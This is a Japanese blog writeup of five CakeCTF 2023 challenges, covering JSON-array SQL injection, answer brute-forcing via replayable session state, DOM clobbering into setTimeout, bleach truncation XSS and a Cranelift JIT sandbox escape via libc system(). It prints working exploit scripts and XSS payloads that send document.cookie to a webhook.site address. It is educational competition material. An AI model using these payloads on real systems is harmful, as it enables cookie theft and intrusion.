st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

CakeCTF 2023 writeup

11/11 - 11/12という日程で開催された。BunkyoWesternsで参加*1して3位だった。個人的にはCountry DBとAdBlogでfirst bloodを、TOWFLとOpenBio 2でsecond solveを取れて嬉しい。

ほかのメンバーのwriteup:


[Web 68] Country DB (246 solves)

Do you know which country code 'CA' and 'KE' are for?
Search country codes here!

添付ファイル: country_db_fc1912477a433a93f7d75a9b80389582.tar.gz

与えられたURLにアクセスすると、非常にシンプルなフォームが表示される。AQ のような国コードを入力すると、次のように対応する Antarctica という国名(国じゃないけど)が出てきた。

サーバ側のソースコードは次の通り。code というキーがリクエストボディのJSONに存在するか、また国コードが2文字かつ ' が含まれないかを確認している。次に db_search で実際にDBからレコードを引っ張ってくるが、ここで f"SELECT name FROM country WHERE code=UPPER('{code}')" と国コードをそのまま展開している。ただ、' を含んではいけないという制約から、簡単にはSQLiができなそう。

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

というのは嘘で、code が文字列かどうかがチェックされていない。したがって、["abc", "de'f"] というような配列を入れてやると、len(code) == 2 かつ "'" in code でないので、次の db_search に進むことができる。f"SELECT name FROM country WHERE code=UPPER('{code}')" にこの配列が展開されると、以下のように abc' で囲まれるため、SQLiが発生する。あとはSQL文全体の辻褄が合う(SQL文として妥当なものになる)よう、abc に入る文字列を調整してやればよい。

>>> code = ["abc", "de'f"]
>>> print(f"SELECT name FROM country WHERE code=UPPER('{code}')")
SELECT name FROM country WHERE code=UPPER('['abc', "de'f"]')

DBの初期化を行う init_db.py には、flag というテーブルにフラグを挿入する処理がある。先程のSQLiを使って、UNION で抽出したい。code にSQLiを起こすJSONを仕込んで送信するPythonスクリプトを書く。

import requests
r = requests.post('http://countrydb.2023.cakectf.com:8020/api/search', json={
    'code': [") union select flag from flag; -- ", "a"]
})
print(r.text)

実行するとフラグが得られた。

$ python3 s.py
{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

[Web, Cheat 79] TOWFL (171 solves)

Do you speak the language of wolves?
Prove your skill here!

添付ファイル: towfl_1522fc6a699ad2ed6345f40f36451c78.tar.gz

与えられたURLにアクセスすると、問題文の通り謎言語で試験が始まった。

ソースコードは次の通り。この試験は

  • POST /api/start で試験開始。eid というキーでセッションにランダムな文字列が保存される。100問の問題を生成して、これをキーにRedisに保存する
  • GET /api/question/(ページ番号) で現在解いているページの問題を得る。答えはもちろん含まれない
  • POST /api/submit でまとめて答案を提出する
  • GET /api/score でスコアを得る。100点満点であればフラグが得られる

というような流れで行われる。試験の問題文も答えも完全にランダムであり、推測はできない。

#!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)

@app.route("/")
def index():
    return flask.render_template("index.html")

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
    if qid <= 0 or qid > 10:
        return {'status': 'error', 'reason': 'Invalid parameter.'}
    elif 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Send challenge information without answers
    chall = json.loads(db().get(flask.session['eid']))[qid-1]
    del chall['answers']
    del chall['results']
    return {'status': 'ok', 'data': chall}

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}


def new_challenge():
    """Create new questions for a passage"""
    p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
    qs, ans, res = [], [], []
    for _ in range(10):
        q = lorem.sentence().replace(".", "?")
        op = [lorem.sentence() for _ in range(4)]
        qs.append({'question': q, 'options': op})
        ans.append(random.randrange(0, 4))
        res.append(False)
    return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}

def db():
    """Get connection to DB"""
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

よく見るとステートの管理が甘く、一度答案を提出してスコアを確認してからでも、/api/submit から同じ問題に対する答案の提出が何度もできるし、/api/score でのスコアの確認も何度もやり直しができる。幸いにもこの試験は多肢選択式なので、1問ずつすべての選択肢を選んでいき、その結果としてスコアが上がったかどうかを確認することで、どれが正解であるかわかる。そのようなスクリプトを書く。

import httpx
with httpx.Client(base_url='http://towfl.2023.cakectf.com:8888/') as client:
    client.post('/api/start')
    cookies = client.cookies
    answers = [[None for _ in range(10)] for _ in range(10)]
    for i in range(100):
        for x in range(4):
            client.cookies = cookies
            answers[i // 10][i % 10] = x
            client.post('/api/submit', json=answers)
            r = client.get('/api/score').json()
            print(r)
            if r['data']['score'] != i:
                break

実行するとフラグが得られた。これで私が狼の言語を解することが証明された。

$ python3 s.py
{'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'}
{'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'}
...
{'data': {'flag': '"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}"', 'score': 100}, 'status': 'ok'}
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}

[Web 151] AdBlog (39 solves)

Post your article anonymously here!
* Please report us if you find any sensitive/harmful posts.

添付ファイル: adblog_bf9113f56e16736e143208ac49829609.tar.gz

与えられたURLにアクセスすると、以下のようにブログの投稿フォームが表示された。内容ではHTMLを使えるようだ。

ただし、script のような危険な要素であったり、onerror のような危険な属性であったりを使おうとしても無効化されてしまう。各投稿のページでは次のような処理によって内容を表示している。Base64エンコードされた内容がインラインスクリプト中に埋め込まれており、これをBase64デコードした文字列について DOMPurify で危険な要素や属性を削除した上で、innerHTML により表示しているようだ。

その後で妙なことをしており、detectAdBlock とやらでAdBlockが使われているかチェックしている。もし使われていれば、AdBlockを解除するようなお願いを表示するようになっている。

    <script>
     let content = DOMPurify.sanitize(atob("PHM+dGVzdDwvcz4="));
     document.getElementById("content").innerHTML = content;

     window.onload = async () => {
       if (await detectAdBlock()) {
         showOverlay = () => {
           document.getElementById("ad-overlay").style.width = "100%";
         };
       }

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }
     }
    </script>

detectAdBlock の実装は次の通り。Google AdSense関連のスクリプトを取りに行こうとして、それが200を返すかどうかでチェックしている。

const ADS_URL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js';

async function detectAdBlock(callback) {
    try {
        let res = await fetch(ADS_URL, { method: 'HEAD' });
        return res.status !== 200;
    } catch {
        return true;
    }
}

AdBlockが検出された場合にのみ showOverlay という変数を設定する処理があるが、この実装が不自然だ。なぜか varlet を使って変数宣言がされておらず、これではグローバルな変数になってしまう。また、その直後に showOverlayundefined でなければ setTimeout(showOverlay, 1000) を呼び出すという処理があり、なぜ if (await detectAdBlock()) { … } のブロック中にまとめないのか。

await detectAdBlock()false かつ typeof showOverlay'undefined' でないという状況はどうすれば作れるだろうか。DOM Clobberingだ。<a href="cid:hoge" id="showOverlay">a</a> というようなタグを仕込んでおくと、typeof showOverlay'object' になる。setTimeout は第1引数に文字列が渡ると eval 相当の挙動をするし、a 要素は文字列化するとその href 属性の値を返してくれる。

<a href="cid:navigator.sendBeacon('https://webhook.site/(省略)',document.cookie)" id="showOverlay">aaa</a> のようなHTMLを内容として記事を投稿する。問題文中の "Please report us …" のリンクからその記事のIDを報告すると、管理者をはめることができフラグが得られた。

CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}

[Web 200] OpenBio 2 (21 solves)

Share your Bio here!
* Please report us if you find any sensitive/harmful bio.

添付ファイル: openbio2_3f76afa06e9c42e3ba9eed5866f8d97a.tar.gz

与えられたURLにアクセスすると、次のようにbioを生成できるフォームが表示された。

bioの部分では sb といった安全っぽい要素は使えるが、scriptonerror のような危険な要素や属性は消されてしまう。<> といった記号も実体参照に変換されてしまう。

サーバ側のソースコードは次の通り。bleach というライブラリを使って、bleach.clean で危険な要素やら属性やらを削除した後に bleach.linkify によって example.com のようなURLを <a href="http://example.com" rel="nofollow">example.com</a> のようなリンクに変換している。また、ユーザが入力した bio1bio2 がそれぞれ1001文字以下であるかチェックしているほか、bleach による変換後の文字列について、10000文字で切っている。

import bleach
import flask
import json
import os
import re
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    err = None
    bio_id = os.urandom(32).hex()
    name = flask.request.form.get('name', 'Anonymous')
    email = flask.request.form.get('email', '')
    bio1 = flask.request.form.get('bio1', '')
    bio2 = flask.request.form.get('bio2', '')
    if len(name) > 20:
        err = "Name is too long"
    elif len(email) > 40:
        err = "Email is too long"
    elif len(bio1) > 1001 or len(bio2) > 1001:
        err = "Bio is too long"

    if err:
        return flask.render_template("index.html", err=err)

    db().set(bio_id, json.dumps({
        'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2
    }))
    return flask.redirect(f"/bio/{bio_id}")

@app.route('/bio/<bio_id>')
def bio(bio_id):
    if not re.match("^[0-9a-f]{64}$", bio_id):
        return flask.redirect("/")

    bio = db().get(bio_id)
    if bio is None:
        return flask.redirect("/")

    bio = json.loads(bio)
    name = bio['name']
    email = bio['email']
    bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
    bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]
    return flask.render_template("bio.html",
                                 name=name, email=email, bio1=bio1, bio2=bio2)


def db():
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

bio1 について、元々1001字以下であるものを、変換によって10000文字以上に引き伸ばしてもらうことで、なんらかのインジェクションを起こせないか。たとえば、<a href="http://example.com" のように開始タグの途中で切られるようにできないか。HTML上は bio1 のすぐ後に bio2 が来るようになっているから、そのまま bio2 側で属性を仕込めるはずだ。

bleach のソースコードからまず bleach がURLとして判定する条件を確認した。対応しているTLDはかなり限られる。適当にもっとも短い2文字を選び、a.co<a href="http://a.co" rel="nofollow">a.co</a> が生成されることを確認できた。4文字が45文字になり嬉しい。

a.co a.co のようにスペースでつなぎつつ、1001文字いっぱいになるまで繰り返す。'a.co ' * 200 + ' ' で元の文字列が1001文字に到達したが、変換後の文字数は9201文字と残念ながら足りない。この区切り文字でもうちょっと引き伸ばせないかと考え、&&amp; に、>&gt; に変換されることを思い出す。'&a.co' * 199 + '&&a.co' のように区切り文字を & にすると10005文字になる。変換後の後ろの100文字は次の通りで、終了タグが消えてしまっている。

&amp;<a href="http://a.co" rel="nofollow">a.co</a>&amp;&amp;<a href="http://a.co" rel="nofollow">a.c

文字数を調整する。'&a.co' * 199 + '<<a.co' で終了タグの1文字目である < だけを残すことができた。さらに bio2img src=x onerror="alert(123)" を仕込むことで、アラートが表示された。

&amp;<a href="http://a.co" rel="nofollow">a.co</a>&lt;&lt;<a href="http://a.co" rel="nofollow">a.co<

実行されるJSコードを (new Image).src=('http://webhook.site/(省略)?'+document.cookie) のように変える。これをAdBlogと同様に問題文中の "Please report us …" のリンクからそのbioのIDを報告すると、管理者をはめることができフラグが得られた。

CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}

[Sandbox 196] cranelift (22 solves)

👀 JIT engine written in Rust?

(問題サーバの接続情報)

添付ファイル: cranelift_c8e0da8125e4750abd0cef042a5686f8.tar.gz

添付ファイルを展開する。問題サーバに接続すると、次のようなPythonスクリプトが走る。入力を一時ファイルに書き込み、./toy というバイナリにそのパスを渡す。

#!/usr/local/bin/python
import subprocess
import tempfile

if __name__ == '__main__':
    print("Enter your code (End with '__EOF__\\n')")
    code = ''
    while True:
        line = input()
        if line == '__EOF__':
            break
        code += line + "\n"

    with tempfile.NamedTemporaryFile('w') as f:
        f.write(code)
        f.flush()

        p = subprocess.Popen(["./toy", f.name],
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE)
        result = p.communicate()
        print(result[0].decode())
        print("[+] Done.")

README.md を読むと、cranelift-jit-demo に次のようなパッチがあてられていることがわかった。このコードをコンパイルして toy というバイナリができあがる。

diff --git a/src/bin/toy.rs b/src/bin/toy.rs
index a12bace..fff0965 100644
--- a/src/bin/toy.rs
+++ b/src/bin/toy.rs
@@ -1,37 +1,18 @@
+use std::fs;
+use std::env;
 use core::mem;
 use cranelift_jit_demo::jit;
 
-fn main() -> Result<(), String> {
+fn main() {
     // Create the JIT instance, which manages all generated functions and data.
     let mut jit = jit::JIT::default();
-    println!("the answer is: {}", run_foo(&mut jit)?);
-    println!(
-        "recursive_fib(10) = {}",
-        run_recursive_fib_code(&mut jit, 10)?
-    );
-    println!(
-        "iterative_fib(10) = {}",
-        run_iterative_fib_code(&mut jit, 10)?
-    );
-    run_hello(&mut jit)?;
-    Ok(())
-}
-
-fn run_foo(jit: &mut jit::JIT) -> Result<isize, String> {
-    unsafe { run_code(jit, FOO_CODE, (1, 0)) }
-}
-
-fn run_recursive_fib_code(jit: &mut jit::JIT, input: isize) -> Result<isize, String> {
-    unsafe { run_code(jit, RECURSIVE_FIB_CODE, input) }
-}
-
-fn run_iterative_fib_code(jit: &mut jit::JIT, input: isize) -> Result<isize, String> {
-    unsafe { run_code(jit, ITERATIVE_FIB_CODE, input) }
-}
-
-fn run_hello(jit: &mut jit::JIT) -> Result<isize, String> {
-    jit.create_data("hello_string", "hello world!\0".as_bytes().to_vec())?;
-    unsafe { run_code(jit, HELLO_CODE, ()) }
+    let args: Vec<String> = env::args().collect();
+    if args.len() < 2 {
+        println!("Usage: toy <filename>");
+        return;
+    }
+    let code = fs::read_to_string(&args[1]).unwrap();
+    let _r: bool = unsafe { run_code(&mut jit, &code, ()).unwrap() };
 }
 
 /// Executes the given code using the cranelift JIT compiler.
@@ -52,66 +33,3 @@ unsafe fn run_code<I, O>(jit: &mut jit::JIT, code: &str, input: I) -> Result<O,
     // And now we can call it!
     Ok(code_fn(input))
 }
-
-// A small test function.
-//
-// The `(c)` declares a return variable; the function returns whatever value
-// it was assigned when the function exits. Note that there are multiple
-// assignments, so the input is not in SSA form, but that's ok because
-// Cranelift handles all the details of translating into SSA form itself.
-const FOO_CODE: &str = r#"
-    fn foo(a, b) -> (c) {
-        c = if a {
-            if b {
-                30
-            } else {
-                40
-            }
-        } else {
-            50
-        }
-        c = c + 2
-    }
-"#;
-
-/// Another example: Recursive fibonacci.
-const RECURSIVE_FIB_CODE: &str = r#"
-    fn recursive_fib(n) -> (r) {
-        r = if n == 0 {
-                    0
-            } else {
-                if n == 1 {
-                    1
-                } else {
-                    recursive_fib(n - 1) + recursive_fib(n - 2)
-                }
-            }
-    }
-"#;
-
-/// Another example: Iterative fibonacci.
-const ITERATIVE_FIB_CODE: &str = r#"
-    fn iterative_fib(n) -> (r) {
-        if n == 0 {
-            r = 0
-        } else {
-            n = n - 1
-            a = 0
-            r = 1
-            while n != 0 {
-                t = r
-                r = r + a
-                a = t
-                n = n - 1
-            }
-        }
-    }
-"#;
-
-/// Let's say hello, by calling into libc. The puts function is resolved by
-/// dlsym to the libc function, and the string &hello_string is defined below.
-const HELLO_CODE: &str = r#"
-fn hello() -> (r) {
-    puts(&hello_string)
-}
-"#;

私が問題を確認した時点で、以下のようにして putchar を呼んで文字の出力を行ったり、その他 sleep のようなlibcにある関数を呼べることがsrupさんとSatokiさんによってわかっていた。ただ、文字列リテラルが使えないために puts("hoge") のように関数を呼び出そうとしても動かないようだった。

fn foo(a, b) -> (c) {
    putchar(65)
    c = 2
    c
}

この問題より前にpr0xyさんとunicompを解いていたので、まず mmap なりなんなりで適当にメモリを確保して、read を使って標準入力経由で /bin/sh をそこに書き込み、最後に execve でシェルを起動するというその解法が流用できるのではないかと考えた。これなら文字列リテラルはいらない。ただし、今回は最初のコードの入力以降は何も入力できないという制約がある。その代わりシステムコールだけでなくlibcの関数なら何でも呼べるのは便利だ。

read の代わりに memset で1バイトずつ文字を対象のアドレスに書き込めばよいし、最後の execvesystem を代わりに使える。これで system("cat /flag*") 相当のことをする。

$ nc others.2023.cakectf.com 10000
Enter your code (End with '__EOF__\n')
fn foo(a, b) -> (c) {
    x = mmap(1, 4096, 7, 34, 16777215, 0)
    memset(x+0,99,1)
    memset(x+1,97,1)
    memset(x+2,116,1)
    memset(x+3,32,1)
    memset(x+4,47,1)
    memset(x+5,102,1)
    memset(x+6,108,1)
    memset(x+7,97,1)
    memset(x+8,103,1)
    memset(x+9,42,1)
    system(x)
    c = 2
    c
}
__EOF__
CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll}

[+] Done.

フラグが得られた。

CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll}

*1:私自身は文京区とは縁もゆかりもない